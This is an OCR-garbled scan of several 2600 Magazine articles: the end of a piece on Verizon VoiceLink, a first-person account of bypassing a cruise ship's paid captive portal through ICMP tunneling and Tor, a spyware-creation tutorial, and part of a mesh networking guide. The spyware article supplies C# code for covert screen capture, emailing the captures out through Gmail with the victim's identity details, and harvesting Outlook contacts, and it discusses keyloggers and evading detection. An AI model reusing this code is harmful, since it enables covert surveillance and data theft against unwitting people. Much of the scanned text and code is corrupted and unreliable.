turer; ZTE and Hua"ci. The Veri1on FT2260VW. 
for example, is made by lluawei. 

What's a wirelc;, landlinc'/ A technician will 
install the device in an arcn of your home with a good 
wireless sigoal, run a cable to the NID to hook it up 
to your inside wiring. and your phones will work 
more or less normally. However. under the hood. 
VoiccLink is actually a cellular phone and is treated 
on the mobile nctworl. as such. The device has an 
fMEI or MElD. a SIM card (if 4G or GSM-based). 
either rechargeable or AA batteries (depending on the 
device involved) for backup power. and is assigned a 
telephone number. If your l>CI"\ ICC i' converted from 
landline service. a w1rehnc-to-wireless port is done 
using ordinary number portability procedures. To the 
networl.. the only difference vcr>us a mobile phone 

is 9 1 1  ..crvice: VoiccLink devices arc catcgori1ed as 
fixed locauon device., and are configured ''ith E911 
data Thl\ mean\ that if you dial 9 1 1 .  }ou·re routed 
d1rectly to the PSAP nearest you with all E9l l  data 
provided. which is the same thing that happen' with 
a landlinc. 

Unfortunately, there are some major differences, 
and Lhi> ultimately scuttled the VoiccLink initimive 
on Fire Island (although Vcrizon is still pushing it 
very hard in other locations). Call qu:1lity is gener­
ally poorer thnn a landline because calling depend� 
on the cellular network - often a distant one. Call' 
are subject to being dropped and mis..cd.just :L' with 
cellular phones. And moM imponantly. only \Oicc 
calling 1s 'upportcd. Faxc., and modem'> (wt:h a' 
those included m older credit card machine\) don't 
work. Nor do alarm monitoring SCI"\ ices or ccnain 
medical de' ices. A lobbying organi1.ation called 
Teletruth put together a list of 17 separJtc 'erviccs 
that no longer worked with VoiceLinlo.. 

Verit.on al\o undcrc�Limatcd the bac�lash. It 
seemed everyone piled on: constituencies fmm 
residents to unions to politicians erupted in protest. 
The FCC refused Vcrizon's application to terminate 
service. a>king pointed questions about the services 
that would no longer be available. Ultimately. 
Veri1on compromised: they upgraded Fire !..land to 
FiOS fiber-optic service. a regulator}' structure that 
alread} c>:i'otcd. While the landline net\\.orl. was 
discontinued. wirl'linl' SCI"\ icc was still a\ ailable and. 
in fact. Fire Island was better otT than before. Smiles 
all around. 

ExcCJ>t the..c issues aren't going away. Phone 
companies arc going to ha1·e to retire copper. Tech· 
nology has moved on and it's too expensive to main 
tain. This has culminated in a series of FCC orders 
(the most impon:mt of which is FCC Order 15 97) 
which govern how and when copper may be retired, 
and what notification must be given to cu,tomcn •. 
Thi'> i>n't over: every time a di�aster happen.,. the 
debate will be ongoing. Although it has occurred with 
little pre" and almmt no public debate. the repl:lcc­
mcnt of copper will be one of the most important 
public policy issues of the 2 1st century 

And with that. it's ume to get on a plane. Loui­
;iana i'> under water. and there's a lot of worl. to do! 
S tay w:�rm and dry this fall. 

References 
http://www. datacenterknowledg e . com 

• l a r ch i ve s / 2 0 : 2 / 1 1 / 0 1 / n y - d a t � ­
•cenLe rs -ba L tle-back-f rom- s t o rm­
•damage/ Wrnp-up of data center; damaged dunng 
Superstorm Sandy 

http : //t�.e trJ"h . org/POtSv-vviCe 
•l•nk. pd' Li\t of -services that don't worlo. \\.lth 
Voicelinlo.. pubh,hed by Teletruth 

http : /{www .wetmachine . com/tales-of 
•-�he-�ausage-factory/the-fcc-scts­
•the-ground-rules-for-shuttlng-d�w�­
•rhe-phone-syste�-and-sets-•he- t J• 
--for universal-broadband/ - Art1cle hy 
Harold Fcld on FCC process for phasing out copper I me' 

Page 14-------------------- 2600 Magazine 

j_ 

l-



_L 

J!l �9ftrta9-<0 /J/j) ({Svailmft Jl-�� cmJt J) <&CZU 
by lceQUICK 

The folloll'lllg Oi:c-ltrred 011 a wo/lderful 
cmise ship i11 u beautiful part of the world. The 
whole experience u·a.v like a dream. In fact. ir 
IIIli\' haw� all been " dream .... 

I never intended to get online. I had just 
boarded the cruise \hip and w a\ looking 
forward to spending the next two wee�.\ di\con­
nected from the world. It was my fin,t cruise and 
I wanted to get familiar with where the majority 
of the next 14 day\ would be �pent. Before the 
ship set sail. we went el\ploring and found the 
theater. three or four bars, the coffee shop. a 
few rcstauranh, and the libmry. In the library. 
there were flyer� advcnising the ship's satellite 
Internet acces�. Instead of selling it per mega­
byte, access was being sold by the minute. It 
was priced between $0.25 and $0.75 USD per 
minute depending nn the volume purchased. 

\1y curiosity \�as awakened. What kinds of 
Wireless APs were in usc? What kind of authcn­
tic:ttion? Captive portals? I low fast would it be? 
My mind. like other hacker�. wasn't actually 
interested in geumg online. The real challenge 
was figuring out how to solve this puule. 

I opened Ill) phone. which was being carried 
t(l take picture\, and successfully connected 
to the unsecured access point. I tried to open 
yahoo.com (the site I usc exclusively to trigger 
captive ponals) and wa ... redirected to a simple 
capti,·e ponal page. 

Later that same day. '�e got back to the room 
and I opened my sticJ..er-covercd Macbook Pro. 
I had read about bypassing captive ponals using 
things like ICMP and DNS tunneling but had 
never auemptcd it. No time like the present to 
figure it out! I got connected and s<IW the same 
capuvc portal page 

I opened a terminal and first tried IC'MP. 
I II<J 8 . 8 .  8 .  

Success! That wa� easy. ICMP <lppcarcd to 
be unfiltered and ICMP tunneling was a likely 
option Next. I tried DNS.I opened up nslookup. 
set the server to Google\ 0:--IS (8.8.8.8), and 
tried to re�olve yahoo.com. 
$ nslookup 
> setver 8 . 8 . 8 . 8  
Default server: 8 . 8 . 8 . 8 

Address : 8 . 8. 8. 8153 

"> yahoo . com 
v r :  8 . 8 . 8 . 8  

. 8 .8.ets3 

Non-author1tat1v answer : 
Narr.e: yahoo. co 
Actdr - : 98 . 139 . 1 81 . 24 

Name: yahoo . c  m 
Addtr·.s: 98 . 138 . 2!>3 . 109 

Name : yahoo.com 
Address : 206 . 1 90 . 1 � . 4 '\  

Success! It rc'ohed Direct outbound DNS 
was also open. and so DNS tunneling was 
another option. 

I also tried to connect using SSII on a 
variety of ports (most of my �ervers usc ... ome­
thing other than port 22 for sshd). but none of 
those worked. 

Smec I hadn't planned on domg any 
"impromptu field �ystcms administration," I 
didn't have any proxy servers set up bad, home 
or any real tools loaded on my laptop. The only 
thmg useful was the Tor Browser Bundle (link 
0, below!. Tor's default direct connect seumg� 
didn't work, so I began trying the built-in 
brillges. When I got to the last bridge in the list. 
ScrmnblcSuit. the familiar "Congratulations! 
This browser is conhgurcd to use Tor" popped 
up on the 'creen. Succcss1 Now I could research 
and download tool\, but couldn't authenticate 
to most of the \Cr\'ICC\ I use because they 
blocked or viewed tmllic from a Tor exit node 
as suspicious. 

I usually always have one or two servers 
online to experiment with. but \incc I couldn't 
SSH d1rectly to them. I had to find a way to 
tunnel the SSH over Tor. Again,! knew this was 
possible from previous rc:�ding. but hadn't ever 
had a need to do it. After a lillie bit of Google-fu 
(SI<Irtpage-Fu doesn't quite have the same ring 
to it...). I connected with this command from 
llink 1 ) :  
� 1 -o ProxyCo n d  'nc -x 
.. J, C11host :<IJ&;O h p' -1 
.. <.u.,>rname> .pul>l1 c  VPS IP 

The connection wus stable, but very laggy 
due to the satellite link. bouncing :�round Tor. 
then running on a YPS with a single core and 
5 1 2 M B  memory. Now that I had acce"' to the 
YPS. it wa� time rnr the proxy software. After 
a lillie more re�carch. I decided to usc ICMP 
tunneling and used "hans" from [link 21. 

On the server (Ubuntu 14.04LTS) 
l)(mnload and compile the han\ sour.:c from 

(link 21 
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Invent a new subnet (10.140.100.ll) and 
password (freewill) for the tunnel. 
$ sudo ./hans -s 10 . 1 40. 100. 0 
'- -p freewifi 

This will give the server the .I address in 
this new subnet and start the ICMP listening 
service. 

On the client (Mac OS X) 
Download the hans binary from [link 2] 
Download the prerequisite OS X tun (virtual 

network interface) driver from [link3] 
Launch hans 

$ sudo ./hans -c 
'- <public VPS IP> -£ -p freewifl 

In another terminal, test out the connectivity. 
$ ping 1 0 . 140 . 100 . 1 

Success! 
The only thing that stood in the way of full, 

open lntemel access was routing the traffic 
over this new tunnel. I considered two options 
on how to do this: updating both the client and 
server routing tables [link 41: or setting up a 
prolly server. I considered the routing table 
option to be too risky since I could potentially 
lock myself out of the remote server and would 
have no way to revert the changes. 

Install and Configure 
Squid Proxy (link 5] 

$ sudo apt-get install squid 

$ sudo vim /etc/squid3/squid.conf 

Pay special attention to the following 
options: 
acl localnet src 1 0 . 0 . 0 . 0 / 8  Nuse 
'- the new subnet you used in the 
'- hans command above 
acl SSL ports port 4 4 3  #without 
'- this,- you' 11 only be able to use 
'- the proxy for HTTP 

Configure Firefox on OS X 
Preferences > Advanced > Network 
'- > Settings 
Manual Settings : 10 . 140 . 100 . 1 and 
'- port 3128 for HTTP and HTTPS 

l tried to browse. using www.2600.com. 
Success! 

I doublechecked that the traffic was going 
out via the proxy (using http://ifconfig.me). 
Success! 

In order to keep a low profile, the tunnel 
was shut down when not in use. Also, large files 
we re not downloaded or uploaded. 

Now that this puzzle was complete, I closed 
the lid on my laptop and headed down to our 
favorite bru· on the fi flh level. To celebrate, I 
ordered mvself a Jameson Whisky Sour (or 

Page 16 

j_ 

maybe it was a White Russian?) and shared 
my success with my travel males. They were 
impressed, and posed a good question: Could l 
make it work on their iPad? The next puzzle in 
the series had been discovered. 

A day or two later I found myself still 
thinking about how to provide access to an 
iPad. I found a product called SquidMan [link 
6] for OS X. It's a GUT tool that lets you run a 
squid-based proxy on your local machine. 

I downloaded. installed, and configured it 
to use a parent proxy (using the ICMP tunnel 
IP above) and fired it up. OS X prompted me 
for permission to allow inbound traffic for 
the application, and I approved. l grabbed my 
phone, set the HTIP proxy to "manual," and 
input in the loca! IP of my laptop and port 3128. 
l flipped over to the mobile browser and once 
again was able to load HTIP and HTIPS sites. 

Puzzle number two was complete and it was 
getting late. I shut down for the night, feeling 
victorious and wondering what puzzles awaited 
me in the morning. 

For the remainder of the trip, l managed to 
spend the majority of the time disconnected. 
There are always more puzzles to solve, but my 
time with these people at this magnificent loca­
tion was running out fast. 

The ship"s network had numerous issues, 
and in an effort to relax (and stay out of 
trouble), I didn't pursue any of the other puzzles 
presented. The puzzles not explored include a 
combination of the following: 

Wireless clients could talk directly to each 
other. 

Captive portal was presented via hllp on the 
same subnel as the clients. 

The wireless subnet had a /18 bit mask 
( 16382 hosts, or 64ll bigger than a standard /24 
subnet). 

The logout page was hosted on the same IP 
as the captive portal. 

Fun with proxies, e.g. [link 7] 
Sholl/ out to: Ch0wn35 

Links 
[O] https : / /www . torproject .org/ 
[l] http : //tor.stackexchange .com/a/ 

'-127 
[2] http : //code . gerade . org/hans/ 
[3) h ttp : / /tuntaposx . sourceforge . net 
�) http : / /thome r . com/Lcmptx/ 
�) http://www. tecmint. com/install­

'-squid-in-ubuntu/ 
[6] http : / /squidman . net/squidman/ 
[7] http : I /www . ex-parrot. com/pete/ 

'-ups ide-down-ternet .html 
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by Chuck Easttom 
www.ChuckEasttom.com 

chuck @chuckeasttom .com 

This article e"plore::. the cuncepts and principles of spy ware creation. V:mous techmqucs arc given 
for both capturmg data, and for ensuring the spywarc behaves in a manner least likely to be noticed. This 
article will contain specific code segments that could be used to create spywnre. The code segments a rc 
u starting point for anyone wi-.hing to create spy ware. Various techniques nrc demom.tratcd. 

Many of these techniques could be found separately via a careful se:trch of security und hacking 
wcbsites. relev:mt books. and journal articles. The purpose uf this article is to provide a "nglc, cohesive 
presentation of spyware technique\. This should facilitate researchers wrshing to sllldy spyware and 
spyware tcchr11qucs. 

IL should be noted that there are other legal uses for spy ware. It is legal for a parent to monitor their 
minor children'-. computer activity. In fact. so·called .. mtnn;, sort ware .. is really just spy ware. It is abo 
legal for employe rs to monitor work machme-.. though it " often best tO notify emplo)'ees that their 
activities may he monitored (Moore. 2()()(1). 

Introduction 
Before continuing. a basic warning is in order. Since this article cont:Hns actual source code as well 

as specific tcchmques. you arc advi�d to usc this infonnation with caution The infonnation should 
only be m.ed rn the process of penetration ll.:sting. for lawful applications such as law enforcement 
agencies with a valid wamull, or in similar situations. 

Spyware is an integral part of intelligence operation� <�nd cyber warf:trc (Gallagher & Greenwald. 
20 14; Li & I ai, 20 I I  ). It can ;�I so be a part or certain law enforcement operations (Bellia, 2005). In the 
case of law enforcement, it i' a ..... umcd the \pywarc is usually introduct:d pursuant tO a valid warrant 
(Jarrett & Bailie, 2009). In the case of intelligence opcratrons, it is a\sumed the spywarc is only used 
on valid forcrgn wrgets that would normally be the target of intelligence operations. While some people 
may be uncomfortable with the concept of spyw;�re being used by governmental agencies. it should be 
noted that 'pywarc i\ no dillercnt than a wrrctap. It i� :1 mean' to monitor commumcation .... Provided 
the application of such momtonng is conductcd within the confine' of legal boundaries, then this 
should be no different th<tn a more tradition<&! phone tap. 

I will explain basic function of spywarc. how it works, and provide source code for that function. 
Techniques for ensuring the spy ware remain' undctcctcd will also be c\plor.:d. It mu't be emphasi1cd 
that '>pyw;�rc technique.., can onl} be applied in a legal setting. Csing thi' technology outside of legal 
boundaries \\Ould constitutc a felony. 

Genera/ /Jackground 011 Spyware 
An individual .,pyware application can worl.. 10 any number of ways to gather data. A common type 

of spywarc i' rderrcd to a.s a I.e> logger. A l..e} logger litentll} logs each l..ey,troke the u 'cr makes and 
put' them into a tile so that everything the u 'er types. including website addresses. u .. cmames. and 
pas ... words. ts rccorded. Anothct type of spywarc is one that takes periodic �crccnshoH. of cx:tctly what 
is on the screen ;�nd saves them to" file. 
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In both cases. the data is temporarily stored on the victim's computer; the perpetrator must then 
ex filtrate that data from the target machine. There are several ways to do this. One is to have spyware 
that periodically sends its data to a prcdetennined email address or IP address. Another is for the 
attacker to have access to the target computer and periodically log on and get the data. ln  the latter case. 
the attacker may have previously hacked into the machine and installed the spyware, and then later, 
he or she returns to gather the data. ln  this article, you will sec specific code to facilitate both screen 
captures and key logging. 

Spyware Techniques 
The goal of any spyware is to obtain infonnation from the target computer. There arc some standard 

approaches to tlus process that most spyware will implement. In this section, basic spyware techniques 
will be explored with source code examples. 

Basic Screen Capture 
Perhaps the most elementary approach to spyware is to have the software take periodic screen 

captures of the infected machine. This technique is actually very simple. rudimentary in fact. But i t  
has sever.� I advantages over more complex methodologie�. First, it does not require setting hooks into 
system processes, or complex programming. ll  can also be done with a rather small executable, and can 
perform screen capture intem1ittcntly, thus reducing the opportunity for detection. The disadvantage 
is that the data is kept in images which must first be stored on the infected machine, and then subse­
quently ex filtrated. 

Sample code to perform a screen capture is given in Figure I. This code is in C# and stores the 
screen capture in the user's default temp directory. Cfl is utilized for this example because it is widely 
used and will be understood by a wide range of programmers. Storing images in the default temp direc­
tory is selected because this directory frequently is filled with files during normal operations. Adding 
files to it is unlikely to trigger anti-malware. It is also unlikely that the computer user will view the 
contents of this folder and notice the new image files. 

i : i + 1; 

string sysName • string. Enpty; 

string sysUser ; string.Empty; 

Bitmap b ;  BitMapCreater( ) ;  

printScreen = string.For�aat("{9}{1}", Path.GetTe�apPath(),  .. screen" + i + ". jpg''); 

picScreenCapture.load(printScreen.ToString()); 

b. Save(printScreen, Imagefo�t.Jpeg); 

Figure I - Screen Capture Code 

This is very simple code, and easy to implement. Certainly there arc other approaches to screen 
capture, and this code can easily be enhanced to create more effective malware. A few suggestions for 
improving the code are presented here. This code can be placed inside a timer control (for Windows 
programs) so that it takes screen captures periodically. Or it could be executed at random intervals 
based on a pseudo-random number generator. Either approach would create a sparse infector mal ware. 
It is also possible to enhance tl1is code so that it periodically checks the current window in the fore­
ground (Microsoft Developer Network provides code samples for that process) and only takes screen 
shots if specific windows are in use. This would allow the spyware to be more targeted and only take 
images from certain progmms. 

Sending em(li/ 
At some point the data must be transmitted out of the target computer to some location where it 

can be easily retrieved by the monitoring agency. Regardless of what methodology one implements to 
capture data. email is an effective way of sending out data in a manner that is less likely to be detected. 
Assuming emails are only sent infrequently, and the target address is one that is innocuous, such as a 
free email (Gmail, Hotmail, etc.). this ex filtration is less likely to be detected. The code for doing this 
is presented in Figures 2 and 3. The first part is a function that sends email. the second part is the code 
that calls that function. This code is presented in C#, for the reasons previously stated. 
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private static string sendMail(System.Net.Mail.HailMessage �) 

{ 
try 

{ 

} 

string s111tpHost "smtp .gmail. com" ; 
string userName "username@gmail. cooa" ;//write your emcnl address 
string password "'•••••�••••••"; 1 rite password 

System.Net.Mail.�.p<lient ..Client • new Syste...Net.Mail.SmtpClient(); 
mClient.Port = 587; 
mClient.EnableSsl = true; 

mClient.UseDefaultCredentials = false; 
raClient .Credentials = new etworkCredentia l(userName, pass1<10rd ); 
mClient.Host = smtpHost; 
..Client.DeliveryHethod • Syste111.Net.�lail.S tpDeliverylethod.Network; 
mClient.Send(mm); 

catch (Except1on ex) 

{ 
System.Consv�e.Write(ex.Hessage); 

} 
Figure 2 - Send Email 

The calling code shown below is somewhat more complicated than 1he bare minimum require­
ments. You will notice thai it accomplishes a few interesting goals beyond simply calling !he email 
send function. The fi rst is that it gathers infomuuion on the current user. Given !hal the goal of spyw<m: 
is to monitor some individual. this can be invaluable. II is also possible to target spyware so that if the 
user informal ion does not match a given target. the spyware ceases to function. 

Systi!!I.Net.Mail.H8ilAddrcss toAddress • new Syst.,...Net.Mail.HailAdd e· ("xxxx><@gooail.cOfl" ) ;  
Systi!!I.Net.Mail. ailAddre fraaAddress = new Systel!l.l4et.l1ail. 11 Jo ("thismbchine@xyz.coot"); 
Syst.,...Net.Mail. J.l • ag� - • new Syst�.Net.Mail.tlai!Hr sage(frOOIAddress, toAddr.,ss); 
sysName = Syst.,... Security. Principal.lrindowsldentity .GetCurrent( ). � • ...,. ToString(); 
sysUse� • Syste.. Secu�ity. Principal. loindowsidentity .Getcurrent() . User. ToString(); 
-·Subject • sysNa���e + " • + sysUser; 
string filename = string.Elllpty; 
Syst.,...Net.Mail. I � l!lailAttachment = n...., Systell.tlet.Hail.AttacPme t(pdntscreen); 
-.Attach.ents. Add ( 11a ilAttach .. ent); 
-· IsBodyHtml • true; 
tD.BodyEncoding = System.Text . r 1'� .UTF8; 
sendMail( .. ); 

Figure 3 - Calling the email send flmction 

Notice that the preceding examples arc not dependent on a specific email client being present on the 
target computer. II' !he target machine ha� Microsoft Outlook. then you can simply utilize the Outlook 
client to send out messages. A code sample for that process is given in Figure 4. 

Public void s.�nd_e.ail_via_out.look(bool battach. strlns fllepath) 

{ 
try 
{ 

11icrosoft.Officr.Intei"''9.0u:tlook.Applicati.oo outlookObj • n� Kicrosoft.Office.Intrrop.Ootlook.Apph atJCt�(); 
Outlootc:.tt,illte- uillte. ... (Outlook.Ha11It ) outlookObj.Creatdte.�(OUtloo.k. llt"Typc.olKdlitf!ll); 
Nilltn�.Subject • '"Thh i� tht' s.ubject"; 
••il.Itf:'ll. To • ·s.ow-o,+•�:tr�Plr.coe'"; 
aailltet.8ody • .. This is the �S5118�-·; 

if(bat-tach •-true) 
Mllitee.Att•ctu.:ent-o;.Add(filepath);//lo&Patf, is e st  ing holdi s pat., to tl'\e log.t:o�"t ftlt 

uilite..Oi splay(fal sr); 

catch ([xct:ptlon �K) 
{ 

FiRure 4 - Sending Emnil l'in MS Outlook 
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To u\c th" cude Ci.e .. 111 \HUe a program that e:�>ecut.:\ this procc,s). you will need to 1mport :1 
'pecilic dll on your d..:' clupment machine. That import i"htm n here. 

usmg Outlo k Mlcrosoft. Oflice . Interop . Outl 11<; 
It is often also usefi.1l to ha\c access to the Outlook con t;�ct hst m order to send emails to �pccific 

indi' iduals. The cod..: shO\\n 111 I igure 5 will accomplish th1s. 

t ., • ��� (), 
d,. hbln AIU( < ta.ct ), 
•�· t•bl•,t•J -<ol.,...�. Add(· l .. t•); 
d�.r.bl••I•J.Col_,,A.-J4("rl ,..,....h 
d!o Tetth·1o(l).<oi�,.Add(•L.ut1U•r•); 

tHc:I"'Soft.Oftlu lllt•rop I)JtlOCHr. t 
1Ucro10ft cHtu IMe.-op DutlOQk 
l'ic"''Soft.Offlu Jftt.rGP �tlooa 

outlOOWJ)j • ._ fllt,.....ft Offlte z,.t......, OwtlOC'fl 
r-oltkr C...t.ch • (IU t'OIOft Of flu l•t��-O..tlook 

Micrewft Offlu Jftt.-nap o..tloot 
Ot.otloft.I� • P•ldlor (GfttecU ltN1>, 

f.- (iJJt 1 • 1. 1 • OltloalU� ca-t, l+t) 
t 

PUc.ror.oft Of flu ll'lt.,_ Ov\1-': 
. .. .  llllto hblt>lll) �). 

dr(IJ • c:OIIU t l .. llWd,...l'• 
dr(lJ • ceo!t�t PINt..._, 
dr(1J • CO�f•tt .h tJ._.,, 

,..iRIIrt' 5 - Retrie1·e Omlook Contact List 

Key Logger 
Screen capture c<�n be an cllectl\e approach to �pyware. llo\\ever, the most widel} used approach 

invohcs the u'c ol "-�:} loggc�. In this 'ection. l \\ill demonstr.uc a \Cry ba,ic key logger that simply 
logs the command "indo\\ ac.:ti\ itlcs. It will log whatever is typed into the command "indow. rhis 
is useful bccaus�: mo't us.:� do not routinely utiiLrc the command windo\\. However, administmtlve 
u�ers often do. 1 he code: presented 111 this section also illustrates the process of getting a hook into an 
application This code can be adapted to hook into other applications. other than the command window. 
The code is shown 111 bgur.: 6. 

It should be notetl thut this code is mor.: complex than the screen capture code �hown earlier. 
However. the code i' still under 80 lines of code for the entire ch1ss implementation. Thb makes it 
practical for usc as 'Jl)'W:Ire. Spyware should be small and cumpact. Large Iiies arc not appropriate for 
usc as spy,\are. 

Gathering User lnjormation 
Rememocr th.: goal nl 'P>"-ar.: i-. to gather infomMtion Thu' far. ,.,e·ve explored -.crecn captures 

and key logge� It " al so ptl\Siblc. and frequently desir.tblc.to gather user information from the oper­
ating system ihdl. The Windows operating sy\tem mat..e' this very easy. The machine name. u-.cr 
name. hm' they ,Ire authenticating to the system. and other fact>. can be interesting infom1ation to 
gather. The folloW Ill)! code. sho\lon 111 Figure 8. is merely an example of what information can easily be 

gathered. Thi\ code is Cll code. 

Again. note that the code presented is small. Throughout this anicle. emphasis is given to small 
executable site. 

Stealth Techniques 
The lirst hall nl this article focu.,ed on basic spy ware tcchni4ues. HO\\ever. just as important as 

gathering infonn:1llon is that such surveillance is not easily detected. Whether this �urveillancc is part 
of a law enforcement operation. intelligence gathering. or the lcgal monnoring of employee�children. 
the beM re:.ults "ill tx:cur ilthc target i� una\\ are of th..: suneillancc Should the target of an mvestiga­
tion realize that the1r sy-.tcm " being monitored. then the monnoring would no longer be u�ful. 

This article is continued 011 page 54 
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by Mike Dank 
famicoman@gmail.com 

Today. we arc faced with issues regarding 
our access to the Internet, as well as our free­
doms on it. As governmental bodies fight to 
gain more control and innuence over the now of 
our information, some choose to look for alter­
natives to the traditional Internet and build their 
own networks as they see fit. These commu­
nity networks can pop up in dense urban areas, 
remote locations with limited Internet access. 
and everywhere in between. 

Whether you are political ly fueled by issues 
of net neutrality, privacy, and censorship, fed up 
with an oligarchy of internet service providers. 
or just like tinkering with hardware, a wire­
less mesh network (or "meshnct") can be an 

and share network access. As more nodes join a 
network, service only improves as various gaps 
are filled in and connections are made more 
redundant. Ultimately, a network is created that 
is both decentralized and distributed. There is 
no single point of failure, making it difficult to 
shut down. 

When creating mesh networks, we are 
mostly concerned with how devices are routing 
to and linking with one another. This means 
that most services you are used to running -
like HTTP or lRC daemons - should be able to 
operate without a hitch. Additionally, you are 
presented with the choice of whether or not to 
create a darknet (completely separated from the 
Internet) or host exit nodes to allow your traffic 
out of the mesh. 

invaluable project to work on. Numerous Existing Community Mesh 
groups and organizations have popped up all Networking Projects 
over the world, creating robust mesh networks One of the most well-known grass-
and relining the technologies that make them roots commu11ity mesh networks is Freifuuk 
possible. While the overall task of building a (ht tps : 1 1  frei funk. net), based out 
wireless mesh network for your community of Germany, encompassing over 150 local 
may seem daunting, it is easy to get started and communities with over 25,000 access points. 
scale up as needed. Guifi.net (https :  I lguifi . net) based in 

What Are Mesh Networks? Spain, boasts over 27,000 nodes spanning 
Think about your existing home network. over 36,000 kilometers. In North America, 

Most people have a centralized router with we see projects like Hypcrboria (http: I I 
several devices hooked up to it. Each device '-hyperboria . net) which connect 
communicates directly with the central router smaller mesh networking commumhes 
and relics on it to relay traffic to and from other together such as Scanlc Meshnet (https :  I I 
devices. This is called a hub/spoke topology,and •www . sea t tlemesh . net), NYC Mesh 
you'l l  notice that it has a single point of failure. (https : I lnycmesh. net), and Toronto 
With a mesh topology, many different routers Mesh (https : I ltomesh. net). We 
(referred to as nodes) relay traffic to one another also see standalone projects like PittMesh 
on the path to the target machine. Nodes in this (http : I lwww . pi ttmesh . net) in Pitts­
network can be set up ad-hoc: if one node goes burgh, WasabiNet (http : I I gowasabi . 
down, traffic can easily be rerouted to another •net) in St. Louis, and People's Open 
node. If new nodes come online, they can be Network {https : I I sudoroom . or g) in 
seamlessly integrated into the network. In the Oakland, California. 
wireless space, distant users can be connected While each of these mesh networks may run 
together with the help of directional antennas different software and have a different base of 
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users, they all serve an important purpose within 
their communities. Additionally. many of these 
networks consistently give back to the greater 
mesh networking community and choose to 
share information about their hardware configu­
rations, software stacks, and infrastructure. This 
only benefits those who want to start their own 
networks or improve existing ones. 

Picking Your Hardware & OS 
When l was first starting out with Philly 

Mesh (http: //mesh . philly2600 . net), 
I was faced with the issue of acquiring hard­
ware on a shoestring budget. Many will tell 
you that the best hardware is low-power 
computers with dedicated wireless cards. This, 
however, can incur a cost of several hundred 
dollars per node. Alternatively. many groups 
make use of SOI!O routers purchased off-the­
shelf, Hashed with custom finmvarc. fhe most 
popular finnwarc used here is OpcnWRT, an 
open source alternative that supports a large 
majority of consumer routers. If you have a 
relatively modern router in your house, there 
is a good chance it is alreauy supported (i r you 
are buying specifically for meshing. consider 
consulting OpcnWRT's wiki for compatibility, 
https : I /wiki . openwrt . org). Based on 
Linux, OpenWRT really shines with its pack­
aging system, allo" ing you to easily install 
and configure packages of networking software 
across several routers regardless of most hard­
ware differences between nodes. With only a 
few commands, you can have mesh packages 
installed and ready for production. 

Other groups arc turning towards creuit­
card-sized computers like the BeaglcBone 
Black and Raspberry Pi. using multiple USB 
Wi-Fi dongles to perlorm over-the-air commu­
nication. Here. we have many more options for 
an operating system as many prefer to use a 
flavor of Linux or BSD, though most of these 
platforms also have OpenWRT �uppon. 

There arc no specific wrong answers here 
when choosing your hardware. Some platforms 
may be better suited to uifferent scenarios. For 
the sake of getting started. spec'ing out some 
inexpensive routers (aim for 50mething with at 
least two radios. 8MB of flash) or repurposing 
some Raspberry Pis is perfectly adequate and 
will help you learn the fundamental concepts of 
mesh networking as well as develop a working 
prototype thllt can be upgraded or expanded as 
needed (hooray for portable configurations). 
Make sure you consider options like indoor 
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versus outdoor use, 2.4 GHz vs. 5 GH.t band. 
etc. 

Meshing Software 
You have OpcnWRT or another operating 

system installed. but how can you mesh your 
router with others wirclcssly? Now, you have 
to pick out some software that will allow you 
to facilitate a mesh network. The first pack­
ages that you need to look at are for what is 
called the data link layer of the osr model of 
computer networking (or OSI layer 2). Soft­
ware here establishes the protocol that controls 
how your packets get transferred from node A 
to node B. Common software in this space is 
batman-adv (not to be confused with the layer 
3 B.A.T.M.A.N. uaemon), and opcn80211s, 
which arc available for most operating systems. 
Each of these pieces of software have their own 
strengths and weaknesses; it might be best to 
install each package on a pair of routers and 
see which one works best for you. There is 
currently a lot of praise for batman-adv, as it has 
been integrated into the mainline Linux tree and 
wa\ ueveloped by Freifunk to use within their 
own mesh network. 

Revisiting the OSI model again. you will 
also need some software to work at the network 
layer (OSI layer 3). This will control your IP 
routing. allowing for each node to compute 
where to senu traffic next on its forwarding 
path to the final destination on the network. 
There are many software packages here such 
as OLSR (Optimi.ted Link State Routing). 
B.A.T.M.A.N (Better Approach To Mobile 
Adhoc Networking), Babel. BMX6. and 
CJDNS (Caleb James Delisle's Networking 
Suite). Each of these addresses the ta�k in its 
own way, making usc of a prO<�Ctive, reac­
tive, or hybrid approach to detennine routing. 
B.A.T.M.A.N. and OLSR are I>Opular here, both 
developed by Frcifunk. Though B.A.T.M.A.N. 
was designed as a replacement for OLSR. each 
is actively used and OLSR is highly utilized in 
the Commotion mesh networking linnware (a 
router firmware based off of OpenWRT). 

For my needs. I settled on CJDNS. which 
boasts 1Pv6 addressing. secure communica­
tions. and some flexibility in auto-peering with 
local nodes. Auditionally, CJDNS is agnostic 
to how its host connects to peers. It will work 
whether you want to connect to another access 
point over batman-adv, or even tunnel over the 
exbting Internet (similar to Tor or a VPN)! This 
is useful for mesh networks starting out that 
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ma} have nodes too distant to connect wire­
lc\Sly un!ll more nodes arc set up in-b.:tween. 
This gives )Oll a chance to lay infr.tstructurc 
'ooncr rather than later. and simply swap-out 
for win: less hnJ,.mg when possible. You also get 
the mteresting ability to link multiple mc�hnet., 
togetherthm may not be geographically dose. 

Putting It Together 
At thi-, point, you �hould have at least one 

node (though you will probably want two tor 
tesllng) running the software stacl,. that you 
have settled on. With wirel..:ss commulllca­
tions. )OU can gener.tll} say that the higher }OU 
place the antenna. the better. Man) community 
mc ... h groups II) to establish nodes on top of 
bu1ldings with roof access, making usc of lx>th 
direction:.�l antenna' (to connect to diMant node' 
within the lim: of sight) as well as omnidirec­
tional antennas to connect to nearby nodes and/ 
or peers. By arranging several distant nodes to 
connect to one :mother via I ine of sight. you 
can estahl1sh a networking backbone for your 
mcshnet that other nodes in the city can em.ily 
connect to and branch off of. 

Gathering Interest 
Me'h nctworJ,.-. can only grow '>O much 

when you arc working by yourself. At some 
point, you an: going to need help finding home'> 

for more nodes and e.1.pandmg the network. You 
can easily start with friends and family - sec if 
they arc willing to ho\1 a node (the) probably 
wouldn't even notice it after a while). Other­
wise. )'OU will want to meet with like-minded 
people who can help configure hardware and 
software, or plan out the infra-,tructure. You 
can start small online by M:l!ing up a website 
with a mission statement and making a post 
or two on Rcddit (/r/darknetplan in particular) 
or Twiuer. Do you have hacke�">pacc� in your 

area'? Linux or amateur radio groups'? A 2600 
meeting you frequent'! All of thC\C are great 
resources to meet people face ·to-face and grow 
your nctworl,. one node at a lime. 

Conclusion 
Starting a mesh network is ca-,ier than many 

think, and is an incredible way to team about 
networking, Linux, micro platforms, embedded 

sy�tcms, and wireless communication. With 
only a few off-the-shelf devices. one can get 
